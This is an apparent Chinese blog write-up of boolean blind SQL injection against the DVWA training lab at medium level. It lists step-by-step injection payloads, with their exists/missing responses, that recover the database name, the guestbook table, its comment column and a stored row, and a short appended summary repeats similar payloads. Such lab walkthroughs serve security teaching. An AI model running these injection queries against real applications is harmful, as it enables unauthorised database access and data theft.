DVWA-SQL盲注 medium

提交id=1之后回显exists存在

 提交id=’之后回显missing 不存在,进一步判断是否是数字型SQL注入

 数字型 exists

字符型missing,确定为数字型SQL注入,进行猜解数据库版本、昵称。

1 and ascii(substr(database(),1,1))>88  # exists 
1 and ascii(substr(database(),1,1))>105 # MISSING
1 and ascii(substr(database(),1,1))>96  # exists
1 and ascii(substr(database(),1,1))>100 # MISSING
1 and ascii(substr(database(),1,1))>98  # exists
1 and ascii(substr(database(),1,1))=99  # MISSING
1 and ascii(substr(database(),1,1))=100 # exists
1 and ascii(substr(database(),2,1))=118 # exists
1 and ascii(substr(database(),3,1))=119 # exists
1 and ascii(substr(database(),2,1))=96  # exists

判断出当前数据库为dvwa,接下来判断该数据库中表的个数

使用select count()函数

1 and (select count(table_name) from information_schema.tables where table_schema=database())<5 #

 表个数小于5,存在

表个数=2,存在,接着查询表1的长度,我们需要的是guestbook表

 1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

 

等于9存在,也就是证明表一是guestbook表了。

 

g:

1 and ascii(substr((select table_name from information_schema.tables

where table_schema=database() limit 0,1),1))=103 #

u:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2))=117 #

e:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3))=101 #

s:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4))=115 #

t:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5))=116 #

b:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6))=98 #

o:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7))=111 #

o:

1 and ascii(substr((select table_name from information_schema.tables

where table_schema=database() limit 0,1),8))=111 #

k:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9))=107 #

猜出表昵称是guestbook之后就可以猜字段个数了。

 1 and (select count(column_name) from information_schema.columns where table_name=0x6775657374626f6f6b)=2 #   

存在(字段之前被我改成两个了,注此处应进行十六进制编码)

id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1))=7 # 判断第一个字段的长度为7,接下来查询字段的昵称

 

c:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),1))=99 #

o:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),2))=111 #

m:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),3))=109 #&Submit=Submit

m:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),4))=109 #&Submit=Submit

e:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),5))=101 #&Submit=Submit

n:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),6))=110 #&Submit=Submit

t:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),7))=116 #&Submit=Submit

查出来字段为comment 接下来查字段中的数据个数

id=1 and (select count(comment) from guestbook)=1 #&Submit=Submit

查找数据:

T: 

id=1 and ascii(substr((select comment from guestbook limit 0,1),1,1))=84 #&Submit=Submit

 

数据为This is a test comment.

例:如果需要查询该字段中第二个数据就需要将标红处改为+1

id=1 and ascii(substr((select comment from guestbook limit 0,1),1,1))=84 #&Submit=Submit

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
靶场SQL是指在DVWA(Damn Vulnerable Web Application)这个靶场中进行的SQL入攻击。靶场中有一个名为dvwa的数据库,我们可以通过一系列的入语句来探测这个数据库中的表的数量和表名的长度。 首先,通过布尔的方式,我们可以使用一些条件语句来判断表的数量。比如,我们可以使用以下语句来判断表的数量是否为1: ```sql 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# ``` 如果返回结果为真,则说明表的数量为1。同样地,我们可以使用以下语句来判断表的数量是否大于2: ```sql 1' and (select count(table_name) from information_schema.tables where table_schema=database())>2# ``` 如果返回结果为假,则说明表的数量大于2。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [DVWA——SQL(全等级)](https://blog.csdn.net/qq_45833260/article/details/125762606)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [DVWA之sql入——](https://blog.csdn.net/Williamanddog/article/details/128404430)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值